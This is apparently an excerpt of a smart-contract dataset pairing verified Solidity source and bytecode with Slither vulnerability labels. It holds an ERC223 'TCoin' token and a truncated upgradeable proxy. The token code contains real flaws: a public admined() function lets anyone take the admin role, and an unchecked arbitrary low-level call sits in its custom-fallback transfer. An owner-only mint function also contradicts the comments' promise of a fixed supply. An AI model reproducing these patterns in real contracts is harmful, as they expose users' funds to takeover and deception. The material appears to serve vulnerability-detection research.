address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xdab860de671cc76c4a341615b69f878a08bb9bbb
|
pragma solidity ^0.4.17;
contract ERC223 {
uint public totalSupply;
// ERC223 functions and events
function balanceOf(address who) public constant returns (uint);
function totalSupply() constant public returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() constant public returns (string _name);
function symbol() constant public returns (string _symbol);
function decimals() constant public returns (uint8 _decimals);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
//function approve(address _spender, uint256 _value) returns (bool success);
// function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// event Approval(address indexed _owner, address indexed _spender, uint _value);
event Burn(address indexed from, uint256 value);
}
/**
* Include SafeMath Lib
*/
contract SafeMath {
uint256 constant public MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (x > MAX_UINT256 - y)
revert();
return x + y;
}
function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (x < y) {
revert();
}
return x - y;
}
function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (y == 0) {
return 0;
}
if (x > MAX_UINT256 / y) {
revert();
}
return x * y;
}
}
/*
* Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
/*
* CL token with ERC223 Extensions
*/
contract CL is ERC223, SafeMath {
string public name = "TCoin";
string public symbol = "TCoin";
uint8 public decimals = 8;
uint256 public totalSupply = 10000 * 10**2;
address public owner;
address public admin;
// bool public unlocked = false;
bool public tokenCreated = false;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
function admined(){
admin = msg.sender;
}
// Initialize to have owner have 100,000,000,000 CL on contract creation
// Constructor is called only once and can not be called again (Ethereum Solidity specification)
function CL() public {
// Ensure token gets created once only
require(tokenCreated == false);
tokenCreated = true;
owner = msg.sender;
balances[owner] = totalSupply;
// Final sanity check to ensure owner balance is greater than zero
require(balances[owner] > 0);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyAdmin(){
require(msg.sender == admin) ;
_;
}
function transferAdminship(address newAdmin) onlyAdmin {
admin = newAdmin;
}
// Function to distribute tokens to list of addresses by the provided amount
// Verify and require that:
// - Balance of owner cannot be negative
// - All transfers can be fulfilled with remaining owner balance
// - No new tokens can ever be minted except originally created 100,000,000,000
function distributeAirdrop(address[] addresses, uint256 amount) onlyOwner public {
// Only allow undrop while token is locked
// After token is unlocked, this method becomes permanently disabled
//require(unlocked);
// Amount is in Wei, convert to CL amount in 8 decimal places
uint256 normalizedAmount = amount * 10**8;
// Only proceed if there are enough tokens to be distributed to all addresses
// Never allow balance of owner to become negative
require(balances[owner] >= safeMul(addresses.length, normalizedAmount));
for (uint i = 0; i < addresses.length; i++) {
balances[owner] = safeSub(balanceOf(owner), normalizedAmount);
balances[addresses[i]] = safeAdd(balanceOf(addresses[i]), normalizedAmount);
Transfer(owner, addresses[i], normalizedAmount);
}
}
// Function to access name of token .sha
function name() constant public returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() constant public returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() constant public returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() constant public returns (uint256 _totalSupply) {
return totalSupply;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
// Only allow transfer once unlocked
// Once it is unlocked, it is unlocked forever and no one can lock again
// require(unlocked);
if (isContract(_to)) {
if (balanceOf(msg.sender) < _value) {
revert();
}
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
// Only allow transfer once unlocked
// Once it is unlocked, it is unlocked forever and no one can lock again
// require(unlocked);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC223 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
// Only allow transfer once unlocked
// Once it is unlocked, it is unlocked forever and no one can lock again
//require(unlocked);
//standard function transfer similar to ERC223 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) {
revert();
}
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) {
revert();
}
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
// Get balance of the address provided
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
// Creator/Owner can unlocked it once and it can never be locked again
// Use after airdrop is complete
/* function unlockForever() onlyOwner public {
unlocked = true;
}*/
// Allow transfers if the owner provided an allowance
// Prevent from any transfers if token is not yet unlocked
// Use SafeMath for the main logic
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
// Only allow transfer once unlocked
// Once it is unlocked, it is unlocked forever and no one can lock again
//require(unlocked);
// Protect against wrapping uints.
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]);
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
balances[_from] = safeSub(balanceOf(_from), _value);
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
}
Transfer(_from, _to, _value);
return true;
}
function mintToken(address target, uint256 mintedAmount) onlyOwner{
balances[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
}
|
0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461010157806318160ddd1461018f57806323b872dd146101b8578063313ce5671461023157806333a581d21461026057806342966c68146102895780635be7cc16146102c457806370a08231146102fd57806379c650681461034a5780638da5cb5b1461038c57806394594625146103e157806395d89b4114610444578063a6515a98146104d2578063a9059cbb146104e7578063acb39d3014610541578063be45fd621461056e578063f6368f8a1461060b578063f851a440146106eb575b600080fd5b341561010c57600080fd5b610114610740565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610154578082015181840152602081019050610139565b50505050905090810190601f1680156101815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019a57600080fd5b6101a26107e8565b6040518082815260200191505060405180910390f35b34156101c357600080fd5b610217600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107f2565b604051808215151515815260200191505060405180910390f35b341561023c57600080fd5b610244610c79565b604051808260ff1660ff16815260200191505060405180910390f35b341561026b57600080fd5b610273610c90565b6040518082815260200191505060405180910390f35b341561029457600080fd5b6102aa6004808035906020019091905050610cb4565b604051808215151515815260200191505060405180910390f35b34156102cf57600080fd5b6102fb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610db8565b005b341561030857600080fd5b610334600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e58565b6040518082815260200191505060405180910390f35b341561035557600080fd5b61038a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ea1565b005b341561039757600080fd5b61039f611013565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103ec57600080fd5b610442600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050611039565b005b341561044f57600080fd5b6104576112f6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049757808201518184015260208101905061047c565b50505050905090810190601f1680156104c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104dd57600080fd5b6104e561139e565b005b34156104f257600080fd5b610527600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113e1565b604051808215151515815260200191505060405180910390f35b341561054c57600080fd5b610554611420565b604051808215151515815260200191505060405180910390f35b341561057957600080fd5b6105f1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611433565b604051808215151515815260200191505060405180910390f35b341561061657600080fd5b6106d1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061146a565b604051808215151515815260200191505060405180910390f35b34156106f657600080fd5b6106fe61179b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610748611ccd565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107de5780601f106107b3576101008083540402835291602001916107de565b820191906000526020600020905b8154815290600101906020018083116107c157829003601f168201915b5050505050905090565b6000600454905090565b60008082600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156108c0575082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561094b5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b151561095657600080fd5b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610a245750828110155b1515610a2f57600080fd5b610a41610a3b85610e58565b846117c1565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a96610a9086610e58565b846117fd565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811015610c0857610b87600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846117fd565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6000600360009054906101000a900460ff16905090565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d0457600080fd5b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1457600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610efd57600080fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561109857600080fd5b6305f5e100830291506110ac845183611817565b60076000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561111b57600080fd5b600090505b83518110156112f05761115d611157600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e58565b836117fd565b60076000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111eb6111e585838151811015156111d657fe5b90602001906020020151610e58565b836117c1565b6007600086848151811015156111fd57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550838181518110151561125357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a38080600101915050611120565b50505050565b6112fe611ccd565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113945780601f1061136957610100808354040283529160200191611394565b820191906000526020600020905b81548152906001019060200180831161137757829003601f168201915b5050505050905090565b33600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006113eb611ce1565b6113f48461186e565b1561140b57611404848483611881565b9150611419565b611416848483611b39565b91505b5092915050565b600660149054906101000a900460ff1681565b600061143e8461186e565b156114555761144e848484611881565b9050611463565b611460848484611b39565b90505b9392505050565b6000806114768661186e565b15611784578461148533610e58565b101561149057600080fd5b6114a261149c33610e58565b866117fd565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114f76114f187610e58565b866117c1565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508590508073ffffffffffffffffffffffffffffffffffffffff166000846040518082805190602001908083835b60208310151561158c5780518252602082019150602081019050602083039250611567565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903388886040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b8381101561166d578082015181840152602081019050611652565b50505050905090810190601f16801561169a5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af1935050505050836040518082805190602001908083835b6020831015156116e957805182526020820191506020810190506020830392506116c4565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16886040518082815260200191505060405180910390a460019150611792565b61178f868686611b39565b91505b50949350505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038311156117f257600080fd5b818301905092915050565b60008183101561180c57600080fd5b818303905092915050565b60008082141561182a5760009050611868565b817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81151561185557fe5b0483111561186257600080fd5b81830290505b92915050565b600080823b905060008111915050919050565b6000808361188e33610e58565b101561189957600080fd5b6118ab6118a533610e58565b856117fd565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119006118fa86610e58565b856117c1565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611a085780820151818401526020810190506119ed565b50505050905090810190601f168015611a355780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611a5557600080fd5b5af11515611a6257600080fd5b505050826040518082805190602001908083835b602083101515611a9b5780518252602082019150602081019050602083039250611a76565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a460019150509392505050565b600082611b4533610e58565b1015611b5057600080fd5b611b62611b5c33610e58565b846117fd565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bb7611bb185610e58565b846117c1565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b602083101515611c305780518252602082019150602081019050602083039250611c0b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a4600190509392505050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a723058200229812b644488ee923e4eb4f1a4e597084e9051bf3bc7f9bb9a2cfc801806900029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,300 |
0xA109c3C2ECAFaAAe09A85b83873A870EE49Ad2C7
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/proxy/UpgradeabilityProxy.sol
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
// File: contracts/proxy/AdminUpgradeabilityProxy.sol
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
